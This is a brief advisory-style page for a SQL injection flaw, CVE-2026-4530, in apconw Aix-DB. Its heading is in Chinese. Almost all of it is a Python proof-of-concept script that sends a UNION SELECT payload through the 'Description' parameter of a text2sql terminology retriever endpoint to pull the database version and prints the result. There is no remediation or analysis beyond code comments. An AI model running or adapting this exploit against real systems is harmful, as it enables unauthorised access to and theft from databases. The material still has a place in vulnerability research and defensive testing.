CVE-2026-4530: apconw Aix-DB SQL注入漏洞

import requests # Target endpoint based on the vulnerable file path url = "http://target-ip:port/agent/text2sql/rag/terminology_retriever" # Malicious payload to test SQL Injection in 'Description' argument # Example: Attempt to extract database version payload = "test' UNION SELECT 1, version(), 3, 4-- -" params = { "Description": payload } try: # Sending the malicious request response = requests.post(url, data=params) if response.status_code == 200: print("SQL Injection successful!") print("Response body:") print(response.text) else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")